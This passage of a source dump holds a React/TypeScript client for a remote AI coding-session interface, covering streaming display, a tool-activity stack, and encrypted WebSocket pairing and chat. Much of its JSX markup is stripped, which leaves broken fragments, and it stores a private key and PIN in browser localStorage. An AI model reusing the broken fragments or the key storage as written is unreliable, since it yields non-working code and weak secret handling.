- ); - } - } - - // Add streaming cursor to the last element - if (isStreaming && elements.length > 0) { - const cursor = ; - const last = elements[elements.length - 1]; - // Wrap last element with cursor - elements[elements.length - 1] = ( - - {last} - {cursor} - - ); - } - - if (elements.length === 0) return null; - - return
{elements}
; -} - -// Thinking indicator -function ThinkingBlock({ thinking, isStreaming }: { thinking: string; isStreaming?: boolean }) { - const [expanded, setExpanded] = useState(false); - - if (!thinking) return null; - - return ( -
- - {expanded && ( -
- {thinking} -
- )} -
- ); -} - -// Main streaming response component (text only - tools shown in ToolStack) -export default memo(function StreamingResponse({ - thinking, - activity = [], - content, - isStreaming = false, - task, - startedAt, - completedAt, -}: StreamingResponseProps) { - // Calculate elapsed time - const elapsedTime = startedAt ? formatElapsedTime(startedAt, isStreaming ? undefined : completedAt) : ''; - - // Determine current phase - const phase = useMemo(() => { - if (!isStreaming) return 'done'; - if (content) return 'responding'; - if (activity.length > 0) return 'working'; - if (thinking) return 'thinking'; - return 'starting'; - }, [isStreaming, content, activity.length, thinking]); - - const phaseLabels: Record = { - starting: { label: 'Starting...', color: 'text-[var(--color-text-secondary)]' }, - thinking: { label: 'Thinking...', color: 'text-[var(--color-text-secondary)]' }, - working: { label: 'Working...', color: 'text-[var(--color-accent)]' }, - responding: { label: 'Responding...', color: 'text-green-400' }, - done: { label: 'Done', color: 'text-[var(--color-text-tertiary)]' }, - }; - - const currentPhase = phaseLabels[phase]; - - return ( -
- {/* Header */} -
-
- {isStreaming ? ( -
- - {currentPhase.label} -
- ) : ( - Response - )} - {task && ( - - {task.length > 50 ? task.substring(0, 50) + '...' : task} - - )} -
- {elapsedTime && ( - {elapsedTime} - )} -
- - {/* Content area */} -
- {/* Thinking (collapsed by default) */} - {thinking && } - - {/* Response text */} - {content && ( -
- -
- )} - - {/* Loading state when nothing to show yet */} - {isStreaming && !thinking && !content && ( -
-
-
-
-
-
-
- )} -
- - {/* Tool activity (shown for both streaming and historical messages) */} - {activity && activity.length > 0 && ( - - )} -
- ); -}) - - - -######################### -### client/src/components/ToolStack.tsx -import { useState, useEffect, useRef, useCallback } from 'react'; -import { createPortal } from 'react-dom'; -import type { ToolActivity } from './types'; - -// Tool category colors and icons -const toolConfig: Record = { - Read: { icon: '📄', color: 'text-cyan-400', bg: 'bg-cyan-950/30', border: 'border-cyan-500/50' }, - Write: { icon: '✏️', color: 'text-green-400', bg: 'bg-green-950/30', border: 'border-green-500/50' }, - Edit: { icon: '🔧', color: 'text-green-400', bg: 'bg-green-950/30', border: 'border-green-500/50' }, - Bash: { icon: '💻', color: 'text-yellow-400', bg: 'bg-yellow-950/30', border: 'border-yellow-500/50' }, - Glob: { icon: '🔍', color: 'text-purple-400', bg: 'bg-purple-950/30', border: 'border-purple-500/50' }, - Grep: { icon: '🔎', color: 'text-purple-400', bg: 'bg-purple-950/30', border: 'border-purple-500/50' }, - Task: { icon: '🤖', color: 'text-blue-400', bg: 'bg-blue-950/30', border: 'border-blue-500/50' }, - WebFetch: { icon: '🌐', color: 'text-blue-400', bg: 'bg-blue-950/30', border: 'border-blue-500/50' }, - WebSearch: { icon: '🔍', color: 'text-blue-400', bg: 'bg-blue-950/30', border: 'border-blue-500/50' }, - TodoWrite: { icon: '📝', color: 'text-orange-400', bg: 'bg-orange-950/30', border: 'border-orange-500/50' }, - AskUserQuestion: { icon: '❓', color: 'text-pink-400', bg: 'bg-pink-950/30', border: 'border-pink-500/50' }, -}; - -const defaultToolConfig = { icon: '⚙️', color: 'text-[var(--color-text-secondary)]', bg: 'bg-[var(--color-bg-secondary)]', border: 'border-[var(--color-border-default)]' }; - -function getToolConfig(tool: string) { - return toolConfig[tool] || defaultToolConfig; -} - -// Format timestamp as relative time or HH:MM:SS -function formatTimestamp(timestamp: number): string { - const now = Date.now(); - const diff = Math.floor((now - timestamp) / 1000); - - if (diff < 5) return 'now'; - if (diff < 60) return `${diff}s ago`; - if (diff < 3600) return `${Math.floor(diff / 60)}m ago`; - - // Fall back to absolute time - const date = new Date(timestamp); - return date.toLocaleTimeString('en-US', { hour12: false }); -} - -// Parse activity into paired tool uses and results -function parseActivityPairs(activity: ToolActivity[]) { - const pairs: Array<{ - tool: string; - input: Record; - result?: { output?: string; error?: string }; - timestamp: number; - }> = []; - - let pendingToolUse: { tool: string; input: Record; timestamp: number } | null = null; - - for (const item of activity) { - if (item.type === 'tool_use') { - if (pendingToolUse) { - pairs.push(pendingToolUse); - } - pendingToolUse = { tool: item.tool, input: item.input || {}, timestamp: item.timestamp }; - } else if (item.type === 'tool_result' && pendingToolUse) { - pairs.push({ - ...pendingToolUse, - result: { output: item.output, error: item.error }, - }); - pendingToolUse = null; - } - } - - if (pendingToolUse) { - pairs.push(pendingToolUse); - } - - return pairs; -} - -// Fullscreen detail modal for tool use -function ToolDetailModal({ tool, input, result, timestamp, onClose }: { - tool: string; - input: Record; - result?: { output?: string; error?: string }; - timestamp: number; - onClose: () => void; -}) { - const config = getToolConfig(tool); - - // Close on Escape key - useEffect(() => { - const handleKey = (e: KeyboardEvent) => { - if (e.key === 'Escape') onClose(); - }; - window.addEventListener('keydown', handleKey); - return () => window.removeEventListener('keydown', handleKey); - }, [onClose]); - - // Prevent body scroll while modal is open - useEffect(() => { - document.body.style.overflow = 'hidden'; - return () => { document.body.style.overflow = ''; }; - }, []); - - return createPortal( -
-
e.stopPropagation()} - > - {/* Modal header */} -
- {config.icon} - {tool} - {!!input.file_path && ( - {String(input.file_path)} - )} -
- {result?.error ? ( - Error - ) : result ? ( - Done - ) : ( - Running... - )} - {formatTimestamp(timestamp)} - -
- - {/* Modal body - scrollable */} -
- {/* Edit diff view */} - {tool === 'Edit' && !!input.old_string && ( -
-
-
- Removed -
-
-                  {String(input.old_string)}
-                
-
-
-
- + Added -
-
-                  {String(input.new_string || '')}
-                
-
-
- )} - - {/* Write content */} - {tool === 'Write' && Boolean(input.content) && ( -
-
Content
-
-                {String(input.content)}
-              
-
- )} - - {/* Bash command */} - {tool === 'Bash' && Boolean(input.command) && ( -
-
Command
-
-                $ {String(input.command)}
-              
-
- )} - - {/* Read - just show file path */} - {tool === 'Read' && Boolean(input.file_path) && !input.content && ( -
-
File
-
{String(input.file_path)}
-
- )} - - {/* Generic input for other tools */} - {!['Read', 'Write', 'Edit', 'Bash'].includes(tool) && Object.keys(input).length > 0 && ( -
-
Input
-
-                {JSON.stringify(input, null, 2)}
-              
-
- )} - - {/* Result output */} - {result?.output && ( -
-
Output
-
-                {result.output}
-              
-
- )} - - {/* Error */} - {result?.error && ( -
-
Error
-
- {result.error} -
-
- )} -
-
-
, - document.body - ); -} - -// Compact tool card for the stack -function StackToolCard({ tool, input, result, timestamp, isLatest, onOpenDetail }: { - tool: string; - input: Record; - result?: { output?: string; error?: string }; - timestamp: number; - isLatest?: boolean; - onOpenDetail: () => void; -}) { - const config = getToolConfig(tool); - - // Get a summary based on tool type - const getSummary = () => { - if (['Read', 'Write', 'Edit'].includes(tool) && input.file_path) { - return String(input.file_path).split('/').slice(-2).join('/'); - } - if (tool === 'Bash' && input.command) { - const cmd = String(input.command); - return cmd.length > 40 ? cmd.substring(0, 40) + '...' : cmd; - } - if (['Glob', 'Grep'].includes(tool) && input.pattern) { - return String(input.pattern).substring(0, 30); - } - if (tool === 'WebSearch' && input.query) { - return `"${String(input.query).substring(0, 30)}"`; - } - if (tool === 'Task' && input.prompt) { - return String(input.prompt).substring(0, 40) + '...'; - } - return null; - }; - - const summary = getSummary(); - - return ( -
- -
- ); -} - -interface ToolStackProps { - activity: ToolActivity[]; - isStreaming: boolean; -} - -export default function ToolStack({ activity, isStreaming }: ToolStackProps) { - const scrollRef = useRef(null); - const toolPairs = parseActivityPairs(activity); - const [modalIndex, setModalIndex] = useState(null); - - const closeModal = useCallback(() => setModalIndex(null), []); - - // Auto-scroll to bottom when new tools arrive - useEffect(() => { - if (scrollRef.current && toolPairs.length > 0) { - scrollRef.current.scrollTop = scrollRef.current.scrollHeight; - } - }, [toolPairs.length]); - - // Don't render if no tools - if (toolPairs.length === 0) { - return null; - } - - const modalPair = modalIndex !== null ? toolPairs[modalIndex] : null; - - return ( -
- {/* Header */} -
- Tools - ({toolPairs.length}) - {isStreaming && ( - - )} -
- - {/* Scrollable tool list */} -
- {toolPairs.map((pair, i) => ( - setModalIndex(i)} - /> - ))} -
- - {/* Detail modal */} - {modalPair && ( - - )} -
- ); -} - - - -######################### -### client/src/components/types.ts -export interface ToolActivity { - type: 'tool_use' | 'tool_result'; - tool: string; - input?: Record; - output?: string; - error?: string; - timestamp: number; -} - - - -######################### -### client/src/index.css -@import "tailwindcss"; - -@theme { - --font-sans: 'JetBrains Mono', ui-monospace, 'Cascadia Code', 'Fira Code', monospace; - --font-mono: 'JetBrains Mono', ui-monospace, 'Cascadia Code', 'Fira Code', monospace; - - /* Anthropic warm dark palette */ - --color-bg-primary: #1a1a1a; - --color-bg-secondary: #222222; - --color-bg-tertiary: #2a2a2a; - --color-bg-elevated: #2e2e2e; - --color-bg-hover: #333333; - - --color-border-default: #333333; - --color-border-subtle: #2a2a2a; - --color-border-emphasis: #444444; - - --color-text-primary: #e8e4e0; - --color-text-secondary: #a09890; - --color-text-tertiary: #706860; - --color-text-muted: #585048; - - --color-accent: #c96442; - --color-accent-hover: #b85838; - --color-accent-muted: #c9644230; -} - -body { - background: var(--color-bg-primary); - color: var(--color-text-primary); - font-feature-settings: 'liga' 1, 'calt' 1; - letter-spacing: -0.01em; -} - -::-webkit-scrollbar { - width: 6px; - height: 6px; -} -::-webkit-scrollbar-track { - background: transparent; -} -::-webkit-scrollbar-thumb { - background: #3a3a3a; - border-radius: 3px; -} -::-webkit-scrollbar-thumb:hover { - background: #4a4a4a; -} - -::selection { - background: var(--color-accent-muted); - color: var(--color-text-primary); -} - - - -######################### -### client/src/main.tsx -import { StrictMode } from 'react'; -import { createRoot } from 'react-dom/client'; -import App from './App'; -import './index.css'; - -createRoot(document.getElementById('root')!).render( - - - -); - - - -######################### -### client/src/pages/Chat.tsx -import { useState, useEffect, useRef, useCallback, useMemo } from 'react'; -import ProjectTabs, { type Project } from '../components/ProjectTabs'; -import ProjectPicker from '../components/ProjectPicker'; -import StreamingResponse, { type ToolActivity } from '../components/StreamingResponse'; -import ChatInput from '../components/ChatInput'; -import GitStatus from '../components/GitStatus'; -import { apiFetch } from '../lib/api'; - - -interface Props { - token?: string | null; - onNavigate: (route: 'home' | 'chat' | 'pair') => void; -} - -interface OutputChunk { - text: string; - timestamp: number; - afterTool?: string; -} - -interface Message { - role: 'user' | 'assistant'; - content: string; - task?: string; // user's original prompt (for assistant messages) - chunks?: OutputChunk[]; // structured output chunks - thinking?: string; - activity?: ToolActivity[]; - startedAt?: string; - completedAt?: string; -} - -interface EncryptedData { - iv: string; - ct: string; - tag: string; -} - -async function generateKeyPair() { - return crypto.subtle.generateKey( - { name: 'ECDH', namedCurve: 'P-256' }, - true, - ['deriveBits'] - ); -} - -async function exportPublicKey(key: CryptoKey): Promise { - const exported = await crypto.subtle.exportKey('raw', key); - return btoa(String.fromCharCode(...new Uint8Array(exported))); -} - -async function importPublicKey(base64: string): Promise { - const binary = atob(base64); - const bytes = new Uint8Array(binary.length); - for (let i = 0; i < binary.length; i++) { - bytes[i] = binary.charCodeAt(i); - } - return crypto.subtle.importKey( - 'raw', - bytes, - { name: 'ECDH', namedCurve: 'P-256' }, - true, - [] - ); -} - -async function deriveSharedSecret(privateKey: CryptoKey, peerPublicKey: CryptoKey): Promise { - const bits = await crypto.subtle.deriveBits( - { name: 'ECDH', public: peerPublicKey }, - privateKey, - 256 - ); - // Hash with SHA-256 to ensure consistent 32-byte key across platforms - const hashed = await crypto.subtle.digest('SHA-256', bits); - return crypto.subtle.importKey( - 'raw', - hashed, - { name: 'AES-GCM', length: 256 }, - false, - ['encrypt', 'decrypt'] - ); -} - -async function encrypt(plaintext: string, key: CryptoKey): Promise { - const iv = crypto.getRandomValues(new Uint8Array(12)); - const encoded = new TextEncoder().encode(plaintext); - const encrypted = await crypto.subtle.encrypt( - { name: 'AES-GCM', iv }, - key, - encoded - ); - const ct = new Uint8Array(encrypted.slice(0, -16)); - const tag = new Uint8Array(encrypted.slice(-16)); - return { - iv: btoa(String.fromCharCode(...iv)), - ct: btoa(String.fromCharCode(...ct)), - tag: btoa(String.fromCharCode(...tag)), - }; -} - -async function decrypt(data: EncryptedData, key: CryptoKey): Promise { - const iv = Uint8Array.from(atob(data.iv), c => c.charCodeAt(0)); - const ct = Uint8Array.from(atob(data.ct), c => c.charCodeAt(0)); - const tag = Uint8Array.from(atob(data.tag), c => c.charCodeAt(0)); - const combined = new Uint8Array(ct.length + tag.length); - combined.set(ct); - combined.set(tag, ct.length); - const decrypted = await crypto.subtle.decrypt( - { name: 'AES-GCM', iv }, - key, - combined - ); - return new TextDecoder().decode(decrypted); -} - -type View = 'pairing' | 'pin' | 'chat'; - -// Per-project state container -interface ProjectState { - messages: Message[]; - isStreaming: boolean; - currentThinking: string; - currentResponse: string; - currentActivity: ToolActivity[]; - currentTask: string; // The user prompt for current streaming task - taskStartTime: number | null; // When the current task started -} - -function createEmptyProjectState(): ProjectState { - return { - messages: [], - isStreaming: false, - currentThinking: '', - currentResponse: '', - currentActivity: [], - currentTask: '', - taskStartTime: null, - }; -} - -export default function Chat({ token = null }: Props) { - const [view, setView] = useState('pairing'); - const [pin, setPin] = useState(''); - const [error, setError] = useState(''); - - // Multi-project state - const [openProjects, setOpenProjects] = useState([]); - const [activeProjectId, setActiveProjectId] = useState(null); - const [projectStates, setProjectStates] = useState>(new Map()); - const [streamingProjectIds, setStreamingProjectIds] = useState>(new Set()); - const [showProjectPicker, setShowProjectPicker] = useState(false); - const tabsRestoredRef = useRef(false); - - // Refs for streaming (per-project) - const thinkingRefs = useRef>(new Map()); - const responseRefs = useRef>(new Map()); - const activityRefs = useRef>(new Map()); - - const wsRef = useRef(null); - const sharedKeyRef = useRef(null); - const messagesEndRef = useRef(null); - - // Reconnection state - const [isReconnecting, setIsReconnecting] = useState(false); - const [reconnectAttempt, setReconnectAttempt] = useState(0); - const reconnectAttemptRef = useRef(0); - const reconnectTimerRef = useRef | null>(null); - const cachedPinRef = useRef((() => { - try { - const stored = localStorage.getItem('claude-remote-pin'); - if (!stored) return null; - const { pin, exp } = JSON.parse(stored); - if (Date.now() > exp) { - localStorage.removeItem('claude-remote-pin'); - return null; - } - return pin as string; - } catch { - localStorage.removeItem('claude-remote-pin'); - return null; - } - })()); - const intentionalCloseRef = useRef(false); - - // Helper to update project state - const updateProjectState = useCallback((projectId: string, updater: (state: ProjectState) => ProjectState) => { - setProjectStates(prev => { - const current = prev.get(projectId) || createEmptyProjectState(); - const updated = updater(current); - const next = new Map(prev); - next.set(projectId, updated); - return next; - }); - }, []); - - // Current active project state (for display) — read directly, no callback wrapper - const activeState = (activeProjectId ? projectStates.get(activeProjectId) : null) || createEmptyProjectState(); - const messages = activeState.messages; - const isStreaming = activeState.isStreaming; - const currentThinking = activeState.currentThinking; - const currentResponse = activeState.currentResponse; - const currentActivity = activeState.currentActivity; - const currentTask = activeState.currentTask; - const taskStartTime = activeState.taskStartTime; - - // Memoize derived values to avoid re-creating on every render - const openProjectIds = useMemo(() => new Set(openProjects.map(p => p.id)), [openProjects]); - - const scrollToBottom = useCallback((force = false) => { - if (!messagesEndRef.current) return; - - // Only auto-scroll if user is near the bottom (within 150px) or forced - const container = messagesEndRef.current.parentElement; - if (container && !force) { - const { scrollTop, scrollHeight, clientHeight } = container; - const distanceFromBottom = scrollHeight - scrollTop - clientHeight; - if (distanceFromBottom > 150) return; // User scrolled up, don't interrupt - } - - messagesEndRef.current.scrollIntoView({ behavior: 'smooth' }); - }, []); - - // Fetch conversation history for a specific project - const fetchProjectConversation = useCallback(async (projectId: string, retries = 3) => { - console.log(`Fetching conversation history for project: ${projectId}`); - for (let attempt = 1; attempt <= retries; attempt++) { - try { - const res = await apiFetch(`/api/projects/${encodeURIComponent(projectId)}/conversation`); - if (!res.ok) { - throw new Error(`Failed to fetch history: ${res.status}`); - } - const data = await res.json(); - console.log(`Loaded conversation for ${projectId}:`, data.messages?.length, 'messages'); - if (data.messages && data.messages.length > 0) { - const loadedMessages = data.messages.map((m: { - role: string; - content: string; - task?: string; - chunks?: OutputChunk[]; - thinking?: string; - activity?: ToolActivity[]; - startedAt?: string; - completedAt?: string; - }) => ({ - role: m.role as 'user' | 'assistant', - content: m.content, - task: m.task, - chunks: m.chunks, - thinking: m.thinking, - activity: m.activity, - startedAt: m.startedAt, - completedAt: m.completedAt, - })); - updateProjectState(projectId, state => ({ ...state, messages: loadedMessages })); - // Scroll to bottom after messages are rendered - // Use requestAnimationFrame to ensure DOM is updated, then scroll - requestAnimationFrame(() => { - requestAnimationFrame(() => { - messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' }); - }); - }); - } - return; // Success - } catch (err) { - console.error(`Failed to fetch project conversation (attempt ${attempt}/${retries}):`, err); - if (attempt < retries) { - await new Promise(resolve => setTimeout(resolve, 500 * attempt)); - } - } - } - console.error('All retries failed for project conversation'); - }, [updateProjectState]); - - // Fetch streaming state for a project (to restore in-progress responses on reconnect) - const fetchProjectStreamingState = useCallback(async (projectId: string) => { - console.log(`Fetching streaming state for project: ${projectId}`); - try { - const res = await apiFetch(`/api/projects/${encodeURIComponent(projectId)}/streaming`); - if (!res.ok) { - throw new Error(`Failed to fetch streaming state: ${res.status}`); - } - const data = await res.json(); - console.log(`Streaming state for ${projectId}:`, data); - - if (data.isStreaming && data.partial) { - // Restore streaming state - setStreamingProjectIds(prev => { - const next = new Set(prev); - next.add(projectId); - return next; - }); - - // Update refs with partial data - if (data.partial.thinking) { - thinkingRefs.current.set(projectId, data.partial.thinking); - } - if (data.partial.text) { - responseRefs.current.set(projectId, data.partial.text); - } - if (data.partial.activity && data.partial.activity.length > 0) { - activityRefs.current.set(projectId, data.partial.activity); - } - - // Update project state with restored streaming data - updateProjectState(projectId, state => ({ - ...state, - isStreaming: true, - currentThinking: data.partial.thinking || '', - currentResponse: data.partial.text || '', - currentActivity: data.partial.activity || [], - })); - } - } catch (err) { - console.error(`Failed to fetch streaming state for ${projectId}:`, err); - } - }, [updateProjectState]); - - const clearHistory = async () => { - if (!activeProjectId) return; - try { - const res = await apiFetch(`/api/projects/${encodeURIComponent(activeProjectId)}/conversation`, { method: 'DELETE' }); - if (!res.ok) throw new Error(`Failed to clear history: ${res.status}`); - updateProjectState(activeProjectId, state => ({ ...state, messages: [] })); - } catch (err) { - setError(`Failed to clear history: ${err}`); - } - }; - - // Scroll to bottom when new messages arrive or project changes (force scroll) - const messagesLength = messages.length; - useEffect(() => { - scrollToBottom(true); - }, [messagesLength, activeProjectId, scrollToBottom]); - - // Scroll during streaming — throttle to once per 200ms to avoid layout thrash - const scrollThrottleRef = useRef | null>(null); - useEffect(() => { - if (isStreaming && !scrollThrottleRef.current) { - scrollThrottleRef.current = setTimeout(() => { - scrollToBottom(false); - scrollThrottleRef.current = null; - }, 200); - } - }, [currentThinking, currentResponse, currentActivity, isStreaming, scrollToBottom]); - - // Persist open tabs to localStorage (skip initial render to avoid nuking saved data) - const initialRenderRef = useRef(true); - useEffect(() => { - if (initialRenderRef.current) { - initialRenderRef.current = false; - return; - } - if (openProjects.length > 0) { - localStorage.setItem('claude-remote-open-projects', JSON.stringify(openProjects)); - } else { - localStorage.removeItem('claude-remote-open-projects'); - } - }, [openProjects]); - - // Persist active tab to localStorage (skip initial render) - const initialActiveRef = useRef(true); - useEffect(() => { - if (initialActiveRef.current) { - initialActiveRef.current = false; - return; - } - if (activeProjectId) { - localStorage.setItem('claude-remote-active-project', activeProjectId); - } else { - localStorage.removeItem('claude-remote-active-project'); - } - }, [activeProjectId]); - - useEffect(() => { - console.log('Chat useEffect: token =', token); - if (token) { - console.log('New pairing flow - clearing old credentials'); - localStorage.removeItem('claude-remote-paired'); - localStorage.removeItem('claude-remote-device-id'); - localStorage.removeItem('claude-remote-private-key'); - localStorage.removeItem('claude-remote-server-public-key'); - localStorage.removeItem('claude-remote-pin'); - cachedPinRef.current = null; - // Stay in 'pairing' view, completePairing will run - } else { - const stored = localStorage.getItem('claude-remote-paired'); - if (stored) { - // Check if we have a cached PIN — auto-connect if so - const cachedPin = cachedPinRef.current; - if (cachedPin) { - console.log('Found cached PIN, auto-connecting...'); - - // Restore tabs from localStorage immediately (don't wait for auth_ok) - const savedProjects = localStorage.getItem('claude-remote-open-projects'); - const savedActiveId = localStorage.getItem('claude-remote-active-project'); - if (savedProjects) { - try { - const projects: Project[] = JSON.parse(savedProjects); - if (projects.length > 0) { - setOpenProjects(projects); - const newStates = new Map(); - projects.forEach(p => { - newStates.set(p.id, createEmptyProjectState()); - }); - setProjectStates(newStates); - const activeId = savedActiveId && projects.find(p => p.id === savedActiveId) - ? savedActiveId - : projects[0].id; - setActiveProjectId(activeId); - tabsRestoredRef.current = true; - } - } catch (err) { - console.error('Failed to restore saved projects on init:', err); - } - } - - setView('chat'); - setIsReconnecting(true); - setTimeout(() => connectAndAuth(), 0); - } else { - console.log('Found pairing but no cached PIN, showing PIN view'); - setView('pin'); - } - } else { - setError('Not paired. Go to home page to scan QR code.'); - } - } - }, [token]); // eslint-disable-line react-hooks/exhaustive-deps - - const pairingStarted = useRef(false); - - const completePairing = useCallback(async () => { - if (!token || pairingStarted.current) { - return; - } - pairingStarted.current = true; - - console.log('Fetching server public key...'); - const getRes = await fetch(`/pair/${token}`); - if (!getRes.ok) { - const data = await getRes.json().catch(() => ({})); - const msg = `Failed to get server key: ${data.error || getRes.status}`; - console.error(msg, data); - setError(msg); - throw new Error(msg); - } - const getData = await getRes.json(); - const { serverPublicKey } = getData; - if (!serverPublicKey) { - const msg = 'Server returned empty public key'; - console.error(msg, getData); - setError(msg); - throw new Error(msg); - } - - const keyPair = await generateKeyPair(); - const clientPublicKey = await exportPublicKey(keyPair.publicKey); - const privateKeyJwk = await crypto.subtle.exportKey('jwk', keyPair.privateKey); - - const postRes = await fetch(`/pair/${token}`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ clientPublicKey }), - }); - - if (!postRes.ok) { - const data = await postRes.json(); - const msg = `Failed to complete pairing: ${data.error || postRes.status}`; - console.error(msg, data); - setError(msg); - throw new Error(msg); - } - - const { deviceId } = await postRes.json(); - if (!deviceId) { - const msg = 'Server returned empty device ID'; - console.error(msg); - setError(msg); - throw new Error(msg); - } - - const serverKey = await importPublicKey(serverPublicKey); - await deriveSharedSecret(keyPair.privateKey, serverKey); // Verify key derivation works - - localStorage.setItem('claude-remote-paired', 'true'); - localStorage.setItem('claude-remote-device-id', deviceId); - localStorage.setItem('claude-remote-private-key', JSON.stringify(privateKeyJwk)); - localStorage.setItem('claude-remote-server-public-key', serverPublicKey); - - // Hard redirect to avoid React strict mode issues - window.location.href = '/chat'; - }, [token]); - - useEffect(() => { - if (token && view === 'pairing') { - completePairing().catch((err) => { - console.error('Pairing failed:', err); - // Error already set in completePairing - }); - } - }, [completePairing, token, view]); - - const restoreSharedKey = useCallback(async (): Promise => { - const privateKeyJwk = localStorage.getItem('claude-remote-private-key'); - const serverPublicKey = localStorage.getItem('claude-remote-server-public-key'); - - if (!privateKeyJwk) { - throw new Error('No private key in localStorage - device not paired'); - } - if (!serverPublicKey) { - throw new Error('No server public key in localStorage - device not paired'); - } - - const privateKey = await crypto.subtle.importKey( - 'jwk', - JSON.parse(privateKeyJwk), - { name: 'ECDH', namedCurve: 'P-256' }, - true, - ['deriveBits'] - ); - const serverKey = await importPublicKey(serverPublicKey); - const sharedKey = await deriveSharedSecret(privateKey, serverKey); - sharedKeyRef.current = sharedKey; - }, []); - - // Schedule a reconnection attempt with exponential backoff - const scheduleReconnect = useCallback(() => { - if (reconnectTimerRef.current) clearTimeout(reconnectTimerRef.current); - const attempt = reconnectAttemptRef.current; - const delay = Math.min(1000 * Math.pow(2, attempt), 30000); // 1s, 2s, 4s, ... 30s max - console.log(`[reconnect] Scheduling attempt ${attempt + 1} in ${delay}ms`); - reconnectAttemptRef.current = attempt + 1; - setReconnectAttempt(attempt + 1); - setIsReconnecting(true); - reconnectTimerRef.current = setTimeout(() => { - connectAndAuth(); - }, delay); - }, []); // connectAndAuth referenced below via ref - - // Ref to break circular dependency between connectWebSocket and scheduleReconnect - const scheduleReconnectRef = useRef(scheduleReconnect); - scheduleReconnectRef.current = scheduleReconnect; - - const connectWebSocket = useCallback((): Promise => { - return new Promise((resolve, reject) => { - const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const ws = new WebSocket(`${protocol}//${window.location.host}/ws`); - - ws.onopen = () => { - wsRef.current = ws; - resolve(ws); - }; - - ws.onmessage = async (event) => { - if (!sharedKeyRef.current) { - console.error('[ws] Received message but sharedKeyRef is null'); - setError('Encryption key missing - please refresh the page'); - return; - } - - let encrypted: EncryptedData; - try { - encrypted = JSON.parse(event.data); - } catch (err) { - console.error('[ws] Failed to parse message as JSON:', err); - return; - } - - let decrypted: string; - try { - decrypted = await decrypt(encrypted, sharedKeyRef.current); - } catch (err) { - console.error('[ws] Decryption failed:', err); - setError('Decryption failed - keys may be mismatched. Try clearing data and re-pairing.'); - return; - } - - let msg: { - type: string; - text?: string; - thinking?: string; - error?: string; - projectId?: string; - activeProjectIds?: string[]; - activity?: ToolActivity[]; - toolUse?: { tool: string; input: Record }; - toolResult?: { tool: string; output?: string; error?: string }; - }; - try { - msg = JSON.parse(decrypted); - } catch (err) { - console.error('[ws] Failed to parse decrypted message:', err); - return; - } - - // Get projectId from message (streaming events include it) - const projectId = msg.projectId; - - if (msg.type === 'auth_ok') { - // Successful auth — clear reconnection state - setError(''); - setView('chat'); - setIsReconnecting(false); - setReconnectAttempt(0); - reconnectAttemptRef.current = 0; - - // Set streaming indicators for any active jobs - const activeIds = msg.activeProjectIds || []; - if (activeIds.length > 0) { - console.log('Active streaming projects on reconnect:', activeIds); - setStreamingProjectIds(new Set(activeIds.filter(id => id !== '__global__'))); - activeIds.forEach(projectId => { - if (projectId !== '__global__') { - updateProjectState(projectId, state => ({ - ...state, - isStreaming: true, - })); - } - }); - } - - // Restore tabs from localStorage, or show picker if none saved - if (!tabsRestoredRef.current) { - tabsRestoredRef.current = true; - const savedProjects = localStorage.getItem('claude-remote-open-projects'); - const savedActiveId = localStorage.getItem('claude-remote-active-project'); - - if (savedProjects) { - try { - const projects: Project[] = JSON.parse(savedProjects); - if (projects.length > 0) { - setOpenProjects(projects); - const newStates = new Map(); - projects.forEach(p => { - const isStreaming = activeIds.includes(p.id); - newStates.set(p.id, { - ...createEmptyProjectState(), - isStreaming, - }); - }); - setProjectStates(newStates); - const activeId = savedActiveId && projects.find(p => p.id === savedActiveId) - ? savedActiveId - : projects[0].id; - setActiveProjectId(activeId); - projects.forEach(p => { - fetchProjectConversation(p.id); - }); - return; - } - } catch (err) { - console.error('Failed to restore saved projects:', err); - } - } - setShowProjectPicker(true); - } else { - // Tabs already restored (e.g. from cached PIN init) — just fetch conversations - const savedProjects = localStorage.getItem('claude-remote-open-projects'); - if (savedProjects) { - try { - const projects: Project[] = JSON.parse(savedProjects); - projects.forEach(p => fetchProjectConversation(p.id)); - } catch {} - } - } - } else if (msg.type === 'auth_error') { - console.error('Auth failed:', msg.error); - // PIN was wrong — clear cached PIN, drop to PIN screen - cachedPinRef.current = null; - localStorage.removeItem('claude-remote-pin'); - setIsReconnecting(false); - setReconnectAttempt(0); - reconnectAttemptRef.current = 0; - setError(msg.error || 'Authentication failed - please re-enter PIN'); - setView('pin'); - } else if (msg.type === 'streaming_restore' && projectId) { - console.log(`Restoring streaming state for ${projectId}:`, { - thinking: msg.thinking?.length || 0, - text: msg.text?.length || 0, - activity: msg.activity?.length || 0, - }); - - if (msg.thinking) { - thinkingRefs.current.set(projectId, msg.thinking); - } - if (msg.text) { - responseRefs.current.set(projectId, msg.text); - } - if (msg.activity && msg.activity.length > 0) { - activityRefs.current.set(projectId, msg.activity); - } - - updateProjectState(projectId, state => ({ - ...state, - isStreaming: true, - currentThinking: msg.thinking || '', - currentResponse: msg.text || '', - currentActivity: msg.activity || [], - })); - } else if (msg.type === 'thinking' && projectId) { - const currentThinking = thinkingRefs.current.get(projectId) || ''; - thinkingRefs.current.set(projectId, currentThinking + (msg.text || '')); - updateProjectState(projectId, state => ({ - ...state, - currentThinking: thinkingRefs.current.get(projectId) || '' - })); - } else if (msg.type === 'text' && projectId) { - const currentResponse = responseRefs.current.get(projectId) || ''; - const delimiter = currentResponse ? '\n' : ''; - responseRefs.current.set(projectId, currentResponse + delimiter + (msg.text || '')); - updateProjectState(projectId, state => ({ - ...state, - currentResponse: responseRefs.current.get(projectId) || '' - })); - } else if (msg.type === 'tool_use' && msg.toolUse && projectId) { - const activity: ToolActivity = { - type: 'tool_use', - tool: msg.toolUse.tool, - input: msg.toolUse.input, - timestamp: Date.now() - }; - const currentActivity = activityRefs.current.get(projectId) || []; - activityRefs.current.set(projectId, [...currentActivity, activity]); - updateProjectState(projectId, state => ({ - ...state, - currentActivity: activityRefs.current.get(projectId) || [] - })); - } else if (msg.type === 'tool_result' && msg.toolResult && projectId) { - const activity: ToolActivity = { - type: 'tool_result', - tool: msg.toolResult.tool, - output: msg.toolResult.output, - error: msg.toolResult.error, - timestamp: Date.now() - }; - const currentActivity = activityRefs.current.get(projectId) || []; - activityRefs.current.set(projectId, [...currentActivity, activity]); - updateProjectState(projectId, state => ({ - ...state, - currentActivity: activityRefs.current.get(projectId) || [] - })); - } else if (msg.type === 'done' && projectId) { - const thinking = thinkingRefs.current.get(projectId) || ''; - const response = responseRefs.current.get(projectId) || ''; - const activity = activityRefs.current.get(projectId) || []; - - 